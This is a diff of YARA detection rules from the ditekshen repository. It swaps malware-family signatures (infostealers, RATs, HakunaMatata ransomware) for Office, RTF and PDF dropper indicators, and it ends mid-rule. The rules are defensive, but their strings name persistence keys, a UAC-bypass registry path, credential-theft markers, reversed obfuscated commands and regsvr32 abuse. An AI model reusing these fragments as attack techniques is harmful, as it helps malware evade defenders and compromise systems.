-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9902-L9922"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L583-L597"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "29bbb833c9aecc18b398b8c0d80649994f4992277d1aa2ee4ae8e319b59125d5"
+		logic_hash = "b52ebd76dd4e60f6bd5cb19fed3a72b6aeb90dea95f0d1be61dcfff39ea674ae"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "UNIC_KEY" fullword wide
-		$s2 = "[StartUp]" fullword wide
-		$s3 = "[Kill]" fullword wide
-		$s4 = "[antivm]" fullword wide
-		$s5 = "AntiVM" fullword ascii
-		$s6 = "AntiKill" fullword ascii
-		$s7 = "hWndRemove" fullword ascii
-		$s8 = "/Clip(watch|Chang|Mon)/" fullword ascii
-		$w1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" fullword wide
-		$w2 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0" fullword wide
-		$w3 = "/create /sc MINUTE /mo 1 /tn \"Windows Service\" /tr \"" fullword wide
-		$w4 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" fullword wide
-		$w5 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
+		$slt = "<scriptlet" ascii
+		$ws1 = "CreateObject(\"WScript\" & \".Shell\")" ascii
+		$ws2 = "CreateObject(\"WScript.Shell\")" ascii
+		$ws3 = "ActivexObject(\"WScript.Shell\")" ascii
+		$r1 = "[\"run\"]" nocase ascii
+		$r2 = ".run \"cmd" nocase ascii
+		$r3 = ".run chr(" nocase ascii
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or all of ($w*) or 6 of them )
+		( uint32(0)==0x4d583f3c or uint32(0)==0x6d783f3c) and $slt and 1 of ($ws*) and 1 of ($r*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Dotrunpex : FILE
+rule DITEKSHEN_INDICATOR_OLE_Suspicious_Reverse : FILE
 {
 	meta:
-		description = "Detects dotRunpeX injector"
+		description = "detects OLE documents containing VB scripts with reversed suspicious strings"
 		author = "ditekSHen"
-		id = "4845edc1-110c-59a2-ace0-57a62b1e69e8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a7f4d18d-add6-5df2-9a8c-f88d8e3766da"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9924-L9936"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L599-L619"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d7f802f233b2b4ff2c250bb8e96649f307bbb3457c78004751401b3ea7f531a0"
-		score = 75
-		quality = 75
+		logic_hash = "04950549eede23b7006103539f20437713a54138c073d9805048392ea0a3df2a"
+		score = 65
+		quality = 71
 		tags = "FILE"
 
 	strings:
-		$s1 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" fullword wide
-		$s2 = "KoiVM" ascii
-		$s3 = "RunpeX.Stub.Framework" wide
-		$s4 = "ExceptionServices.ExceptionDispatchInfo" wide
-		$s5 = "Kernel32.Dll" wide
+		$vb = "\\VBE7.DLL" ascii
+		$cmd1 = "CMD C:\\" nocase ascii
+		$cmd2 = "CMD /c " nocase ascii
+		$kw1 = "]rAHC[" nocase ascii
+		$kw2 = "ekOVNI" nocase ascii
+		$kw3 = "EcaLPEr" nocase ascii
+		$kw4 = "TcEJBO-WEn" nocase ascii
+		$kw5 = "eLbAirav-Teg" nocase ascii
+		$kw6 = "ReveRSE(" nocase ascii
+		$kw7 = "-JOIn" nocase ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0xcfd0 and $vb and ((1 of ($cmd*) and 1 of ($kw*)) or (2 of ($kw*)))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Cyberstealer : FILE
+rule DITEKSHEN_INDICATOR_OLE_Suspicious_Activex : FILE
 {
 	meta:
-		description = "Detects CyberStealer infostealer"
+		description = "detects OLE documents with suspicious ActiveX content"
 		author = "ditekSHen"
-		id = "cb02013f-ffb2-5a17-9d6e-1d19b0e98fb8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e4a74955-8519-561d-bb23-6469e7ae5aaa"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9938-L9959"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L621-L651"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "72413b68fa1381656202165dcd878761727e7caf0f15ccd65f3f2f842243a1f6"
-		score = 75
-		quality = 71
+		logic_hash = "d9a672b0eeccd93b4ae98fef45560490171f8fc16b712d1e0141fc0ef1d0e342"
+		score = 65
+		quality = 73
 		tags = "FILE"
 
 	strings:
-		$x1 = "\\Cyber Stealer\\" ascii
-		$s1 = "[Virtualization]" fullword wide
-		$s2 = "\"encryptedPassword\":\"([^\"]+)\"" fullword wide
-		$s3 = "CreditCard" fullword ascii
-		$s4 = "DecryptPassword" fullword ascii
-		$s5 = "_modTime" fullword ascii
-		$s6 = "_pathname" fullword ascii
-		$s7 = "_pathnameInZip" fullword ascii
-		$s8 = "GetBookmarksDBPath" fullword ascii
-		$s9 = "GrabberImages" fullword ascii
-		$r1 = "^1[a-km-zA-HJ-NP-Z1-9]{25,34}$" wide
-		$r2 = "^3[a-km-zA-HJ-NP-Z1-9]{25,34}$" wide
-		$r3 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" wide
-		$r4 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" wide
+		$vb = "\\VBE7.DLL" ascii
+		$ax1 = "_Layout" ascii
+		$ax2 = "MultiPage1_" ascii
+		$ax3 = "_MouseMove" ascii
+		$ax4 = "_MouseHover" ascii
+		$ax5 = "_MouseLeave" ascii
+		$ax6 = "_MouseEnter" ascii
+		$ax7 = "ImageCombo21_Change" ascii
+		$ax8 = "InkEdit1_GotFocus" ascii
+		$ax9 = "InkPicture1_" ascii
+		$ax10 = "SystemMonitor1_" ascii
+		$ax11 = "WebBrowser1_" ascii
+		$ax12 = "_Click" ascii
+		$kw1 = "CreateObject" ascii
+		$kw2 = "CreateTextFile" ascii
+		$kw3 = ".SpawnInstance_" ascii
+		$kw4 = "WScript.Shell" ascii
+		$kw5 = { 43 68 72 [0-2] 41 73 63 [0-2] 4d 69 64 }
+		$kw6 = { 43 68 [0-2] 72 24 28 40 24 28 22 26 48 }
+		$kw7 = { 41 63 74 69 76 65 44 6f 63 75 6d 65 6e 74 }
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and (2 of ($s*) or 2 of ($r*))) or 7 of ($s*) or (5 of ($s*) and 2 of ($r*)) or ( all of ($r*) and 4 of ($s*)))
+		uint16(0)==0xcfd0 and $vb and 1 of ($ax*) and 2 of ($kw*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Arrowrat : FILE
+rule DITEKSHEN_INDICATOR_OLE_Suspicious_MITRE_T1117 : T1117 FILE
 {
 	meta:
-		description = "Detects ArrowRAT"
+		description = "Detects MITRE technique T1117 in OLE documents"
 		author = "ditekSHen"
-		id = "14d3aabe-1ef5-599f-adbd-61b580099447"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0f41b011-2b63-581f-aa10-9560f27d0a27"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9961-L9979"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L653-L664"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "13e6d4fd274f75c50aa4110276812d02885c03cfc269dde480db66955e5f703a"
-		score = 75
-		quality = 25
-		tags = "FILE"
+		logic_hash = "f0d97f4de8bde18299ee0caee680a15070a1faa99fc318d144a7b7918c8cbb1f"
+		score = 65
+		quality = 75
+		tags = "T1117, FILE"
 
 	strings:
-		$s1 = "29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb" wide
-		$s2 = "Software\\Classes\\ms-settings\\shell\\open\\command" wide
-		$s3 = "DelegateExecute" fullword wide
-		$s4 = "powershell" wide
-		$s5 = "DESKTOP_HOOKCONTROL" fullword ascii
-		$s6 = "PROCESS_INFORMATION" fullword ascii
-		$s7 = "STARTUP_INFORMATION" fullword ascii
-		$s8 = /(Venom|Pandora)\shVNC/ fullword wide
-		$s9 = "cmd.exe /k START" fullword wide
-		$s10 = "ExclusionWD" fullword ascii
-		$s11 = "WinExec" fullword ascii
+		$s1 = "scrobj.dll" ascii nocase
+		$s2 = "regsvr32" ascii nocase
+		$s3 = "JyZWdzdnIzMi5leGU" ascii
+		$s4 = "HNjcm9iai5kbGw" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0xcfd0 and 2 of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Ducktail : FILE
+rule DITEKSHEN_INDICATOR_OLE_Remotetemplate
 {
 	meta:
-		description = "Detects DuckTail"
+		description = "Detects XML relations where an OLE object is refrencing an external target in dropper OOXML documents"
 		author = "ditekSHen"
-		id = "2d1a8f9e-ed5f-53fa-8ba8-b6d1344f6d39"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "fbf40436-fc0a-5e55-89ac-5e1dd93e1833"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9981-L10009"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L666-L677"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a416212e5f87b33fdc14590c3d6d6ebc2915c2b383adf78d660c9408beb2323f"
+		logic_hash = "80cc5b1a8a8899f632401956055374d265c734449e56ffeee5f0ba4911050f36"
 		score = 75
 		quality = 75
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$s1 = "&global_scope_id=" wide
-		$s2 = "#ResolveMyIpAll" wide
-		$s3 = "#ApproveInvitesHandler" wide
-		$s4 = "#ProcessShareCok" wide
-		$s5 = "#InviteEmpHandler" wide
-		$s6 = "__activeScenarioIDs=%" wide
-		$s7 = "&__a=1&fb_dtsg=" wide
-		$s8 = "adAccountLimit\":(.*?)}" wide
-		$s9 = "|PUSH|" fullword wide
-		$s10 = "|SCREEN|" fullword wide
-		$s11 = "|SCREEC|" fullword wide
-		$s12 = "_ad_accounts>k__" ascii
-		$s13 = "get_Pwds" fullword ascii
-		$s14 = "Telegram.Bot" ascii
-		$s15 = { 2f 00 7b 00 43 00 59 00 52 00 7d 00 2e 00 74 00
-               78 00 74 00 00 15 2f 00 7b 00 4c 00 4f 00 47 00
-               7d 00 2e 00 74 00 78 00 74 00 00 15 2f 00 7b 00
-               43 00 46 00 47 00 7d 00 2e 00 74 00 78 00 74 00
-               00 15 2f 00 7b 00 50 00 52 00 53 00 7d 00 2e 00
-               74 00 78 00 74 00 00 15 2f 00 7b 00 53 00 43 00
-               52 00 7d 00 2e 00 6a 00 70 00 67 }
+		$olerel = "relationships/oleObject" ascii
+		$target1 = "Target=\"http" ascii
+		$target2 = "Target=\"file" ascii
+		$mode = "TargetMode=\"External" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 13 of them
+		$olerel and $mode and 1 of ($target*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Grum : FILE
+rule DITEKSHEN_INDICATOR_RTF_Malver_Objects : FILE
 {
 	meta:
-		description = "Detect Grum spam bot"
+		description = "Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents."
 		author = "ditekSHen"
-		id = "e9abaed1-f462-5099-b310-9f9244c0c8a2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2d9d80e0-473e-5aac-a576-8f0002e120e2"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10011-L10025"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L679-L693"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "42a1d57dcddda4a24037af136caace6110b90ee5702c7c01d2a77d2676048c74"
+		logic_hash = "69136fb8ba180f6f86e569471bcefe8f55c61af73c66ebd6062ba7369aee9a72"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "loader_id" fullword ascii
-		$s2 = "start_srv" fullword ascii
-		$s3 = "lid_file_upd" fullword ascii
-		$s4 = "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX" fullword ascii
-		$s5 = "rcpt to:<%s>" fullword ascii
-		$s6 = "ehlo %s" fullword ascii
-		$s7 = "%OUTLOOK_BND_" fullword ascii
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and 5 of them ) or ( all of them )
+		uint32(0)==0x74725c7b and (( not uint8(4)==0x66 or not uint8(5)==0x31 or not uint8(6)==0x5c) and 1 of ($obj*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Dlinjector07 : FILE
+rule DITEKSHEN_INDICATOR_PPT_Mastermana : FILE
 {
 	meta:
-		description = "Detects downloader injector"
+		description = "Detects known malicious pattern (MasterMana) in PowerPoint documents."
 		author = "ditekSHen"
-		id = "244ad6fb-8769-5b57-84e2-66f51fccb32a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8e9b8185-6211-54c6-946d-b16f2226312a"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10027-L10043"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L695-L715"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "aef43b59ef7d0d62a853280ec1588a48d6c21da5218b7fd7e6ab1aa0f048896b"
+		logic_hash = "f8169e63b22fbbd48de9a63ff228d9d9fb105e95d2ea8a37c0993493515e8b2e"
 		score = 75
-		quality = 73
+		quality = 71
 		tags = "FILE"
 
 	strings:
-		$x1 = "23lenrek[||]lldtn[||]daerhTemuseR[||]txetnoCdaerhTteS46woW[||]txetnoCdaerhTteS[||]txetnoCdaerhTteG46woW[||]txetnoCdaerhTteG[||]xEcollAlautriV[||]yromeMssecorPetirW[||]yromeMssecorPdaeR[||]noitceSfOweiVpamnUwZ[||]AssecorPetaerC" wide
-		$l1 = "[||]" wide
-		$r1 = "yromeMssecorPetirW" wide
-		$r2 = "xEcollAlautriV" wide
-		$r3 = "daerhTemuseR" ascii wide
-		$r4 = "noitceSfOweiVpamnUwZ" wide
-		$s1 = "Debugger Detected" fullword wide
-		$s2 = "payload" fullword ascii
-		$s3 = "_ENABLE_PROFILING" fullword wide
+		$a1 = "auto_close" ascii nocase
+		$a2 = "autoclose" ascii nocase
+		$a3 = "auto_open" ascii nocase
+		$a4 = "autoopen" ascii nocase
+		$vb1 = "\\VBE7.DLL" ascii
+		$vb2 = { 41 74 74 72 69 62 75 74 ?? 65 20 56 42 5f 4e 61 6d ?? 65 }
+		$clsid = "000204EF-0000-0000-C000-000000000046" wide nocase
+		$i1 = "@j.mp/" ascii wide
+		$i2 = "j.mp/" ascii wide
+		$i3 = "\\pm.j\\\\:" ascii wide
+		$i4 = ".zz.ht/" ascii wide
+		$i5 = "/pm.j@" ascii wide
+		$i6 = "\\pm.j@" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or (1 of ($l*) and 2 of ($r*)) or 6 of them )
+		uint16(0)==0xcfd0 and 1 of ($i*) and $clsid and 1 of ($a*) and 1 of ($vb*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Stealerium : FILE
+rule DITEKSHEN_INDICATOR_XML_Webrelframe_Remotetemplate : FILE
 {
 	meta:
-		description = "Detects Stealerium infostealer"
+		description = "Detects XML web frame relations refrencing an external target in dropper OOXML documents"
 		author = "ditekSHen"
-		id = "ea137900-3add-54b4-9ce9-bc7e98f86d41"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "724650db-8d58-5e73-92e7-287890babc3b"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10045-L10060"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L717-L727"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a2834e7fe26ad0197a9e490ab517029ceed2e09506fcc37e6ddf0c1804fa6cb9"
+		logic_hash = "fbe209e31ddb4369de02b6e91bf65f0588089c7b838dcf80f182248790b59e20"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$x1 = "Stealerium" ascii wide
-		$x2 = /\.Target\.(Passwords|Messengers|Browsers|VPN|Gaming)\./ ascii
-		$x3 = /\.Modules\.(Keylogger|Implant|Passwords|Messengers|Browsers|VPN|Gaming|Clipper)\./ ascii
-		$s1 = "Timeout /T 2 /Nobreak" fullword wide
-		$s2 = "Directory not exists" wide
-		$s3 = "### {0} ### ({1})" wide
-		$s4 = /---\s(AntiAnalysis|WebcamScreenshot|Keylogger|Clipper)/ wide
-		$s5 = " *Keylogger " fullword wide
+		$target1 = "/frame\" Target=\"http" ascii nocase
+		$target2 = "/frame\" Target=\"file" ascii nocase
+		$mode = "TargetMode=\"External" ascii
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (2 of ($x*) and all of ($s*)))
+		uint32(0)==0x6d783f3c and (1 of ($target*) and $mode)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Linux_Gobrat : FILE
+rule DITEKSHEN_INDICATOR_PDF_Ipdropper : FILE
 {
 	meta:
-		description = "Detects GobRAT"
+		description = "Detects PDF documents with Action and URL pointing to direct IP address"
 		author = "ditekSHen"
-		id = "0561fa99-24ee-5e02-ba54-17a1dd81daa4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "83368671-f1ec-5b09-9d55-6e45e576ebdb"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10062-L10080"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L729-L738"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "070687c909b066e38f72b6421b77670e87476d7e1eb1ed8d41d027836629eb71"
-		score = 75
-		quality = 75
+		logic_hash = "be37ee7ef5d8c980483f31bf5667c2dad4321d662be05c495ec6755362d33fd6"
+		score = 60
+		quality = 35
 		tags = "FILE"
 
 	strings:
-		$x1 = "BotList" ascii
-		$x2 = "BotCount" ascii
-		$x3 = "/etc/services/zone/bot.log" ascii
-		$x4 = "aaa.com/bbb/me" ascii
-		$s1 = "encoding/gob." ascii
-		$s2 = ".GetMacAddress" ascii
-		$s3 = ".IpString2Uint32" ascii
-		$s4 = ".RegisterLogFile" ascii
-		$s5 = ".UniqueAppendString" ascii
-		$s6 = ".NewDaemon" ascii
-		$s7 = ".SimpleCommand" ascii
+		$s1 = { 54 79 70 65 20 2f 41 63 74 69 6f 6e 0d 0a 2f 53 20 2f 55 52 49 0d 0a }
+		$s2 = /\/URI \(http(s)?:\/\/([0-9]{1,3}\.){3}[0-9]{1,3}\// ascii
 
 	condition:
-		uint16(0)==0x457f and (3 of ($x*) or (2 of ($x*) and 3 of ($s*)) or (1 of ($x*) and 5 of ($s*)) or all of ($s*))
+		uint32(0)==0x46445025 and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Hakunamatata : FILE
+rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL1 : FILE
 {
 	meta:
-		description = "Detects HakunaMatata ransomware"
+		description = "Detects OLE Excel 4 Macros documents acting as downloaders"
 		author = "ditekSHen"
-		id = "43ca40bb-9eb6-558e-977d-f1fff5659565"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "4212d762-ea49-5884-b697-9313f43140d5"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10082-L10102"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L740-L764"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b49705845e5440c3c1e47e196592ca2b31319d1af5265f2f954d3367e3d39d5c"
+		logic_hash = "a3248027b83b982cccf235267aa27def4f640987d41c5f11509bde3e27b82fee"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
 
 	strings:
-		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
-		$s2 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" wide
-		$s3 = "<RSAKeyValue><Modulus>" wide
-		$s4 = "HAKUNA MATATA" ascii wide
-		$s5 = "EXCEPTIONAL_FILE" ascii
-		$s6 = "TRIPLE_ENCRYPT" ascii
-		$s7 = "FULL_ENCRYPT" ascii
-		$s8 = "TARGETED_EXTENSIONS" ascii
-		$s9 = "CHANGE_PROCESS_NAME" ascii
-		$s10 = "KILL_APPS_ENCRYPT_AGAIN" ascii
-		$s11 = "<ALL_DRIVES>b__" ascii
-		$s12 = "dataToEncrypt" ascii
-		$s13 = "<RECURSIVE_DIRECTORY_LOOK>" ascii
+		$s1 = "Macros Excel 4.0" fullword ascii
+		$s2 = { 00 4d 61 63 72 6f 31 85 00 }
+		$s3 = "http" ascii
+		$s4 = "file:" ascii
+		$fa_exe = ".exe" ascii nocase
+		$fa_scr = ".scr" ascii nocase
+		$fa_dll = ".dll" ascii nocase
+		$fa_bat = ".bat" ascii nocase
+		$fa_cmd = ".cmd" ascii nocase
+		$fa_sct = ".sct" ascii nocase
+		$fa_txt = ".txt" ascii nocase
+		$fa_psw = ".ps1" ascii nocase
+		$fa_py = ".py" ascii nocase
+		$fa_js = ".js" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0xcfd0 and (3 of ($s*) and 1 of ($fa*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Hakunamatata_Builder : FILE
+rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL2 : FILE
 {
 	meta:
-		description = "Detects HakunaMatata ransomware builder"
+		description = "Detects OLE Excel 4 Macros documents acting as downloaders"
 		author = "ditekSHen"
-		id = "dbf3490f-418c-5d3b-9f9e-e9fb29d8b652"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ea331976-6e5d-5377-a100-0f265e97177f"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10104-L10122"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L766-L787"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ac258851de38504cf63ba51fd06f8a9a3dfbe0096d199ba702e9763b5ecc43e4"
+		logic_hash = "48ab27a2f81934f6f2f034ebcd40fc083b0d90850d12a951f03dab3a4c396ec6"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "ENCRYPT FILES IN PROCESS" wide
-		$s2 = "#TARGET_FILES" ascii wide
-		$s3 = "HAKUNA MATATA" ascii wide nocase
-		$s4 = "#PRIVATE_KEY" ascii wide
-		$s5 = "/target:winexe /platform:anycpu /optimize+" wide
-		$s6 = "/win32icon:" fullword wide
-		$s7 = "SkippedFolders" ascii
-		$s8 = "RECURSIVE_DIRECTORY_LOOK(" ascii
-		$s9 = "DRAW_WALLPAPER(" ascii
-		$s10 = "startupKey.SetValue(MESSAGE_FILE.Split('.')[0], executablePath);" ascii
-		$s11 = /\\obj\\(Debug|Release)\\Hakuna\sMatata\.pdb/ ascii
+		$e1 = "Macros Excel 4.0" ascii
+		$e2 = { 00 4d 61 63 72 6f 31 85 00 }
+		$a1 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
+		$a2 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
+		$a3 = { 18 00 21 00 20 00 00 01 12 00 00 00 00 00 00 00 00 00 01 3a ff }
+		$a4 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
+		$a5 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
+		$a6 = "auto_open" ascii nocase
+		$a7 = "auto_close" ascii nocase
+		$x1 = "* #,##0" ascii
+		$x2 = "=EXEC(CHAR(" ascii
+		$x3 = "-w 1 stARt`-s" ascii nocase
+		$x4 = ")&CHAR(" ascii
+		$x5 = "Reverse" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0xcfd0 and (1 of ($e*) and 1 of ($a*) and (#x1>3 or 2 of ($x*)))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Twarbot : FILE
+rule DITEKSHEN_INDICATOR_RTF_Embedded_Excel_Urldownloadtofile : FILE
 {
 	meta:
-		description = "Detect TWarBot IRC Bot"
+		description = "Detects RTF documents that embed Excel documents for detection evation."
 		author = "ditekSHen"
-		id = "3acae103-c8d8-5959-83fd-f47d33da350b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "39b8723c-1755-5e2f-8fb2-cca5e9eef915"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10124-L10139"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L789-L815"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6b1b0b92d2ea7adec58a4b0ac712384542d96dc8707b6f1f13df2d8150a03a7a"
+		logic_hash = "9416664683c249a9dc2b3d506d9dea7067a638cc4ee5ef7138e5b33a8fcd2b96"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$x1 = "TWarBot" fullword ascii
-		$s1 = "PRIVMSG #" ascii
-		$s2 = "C:\\marijuana.txt" fullword ascii
-		$s3 = "C:\\rar.bat" fullword ascii
-		$s4 = "C:\\zip.bat" fullword ascii
-		$s5 = "software\\microsoft\\windows\\currentversion\\app paths\\winzip32.exe" ascii
-		$s6 = "software\\microsoft\\windows\\currentversion\\app paths\\WinRAR.exe" ascii
-		$s7 = "a -idp -inul -c- -m5" ascii
+		$clsid1 = "2008020000000000c000000000000046" ascii nocase
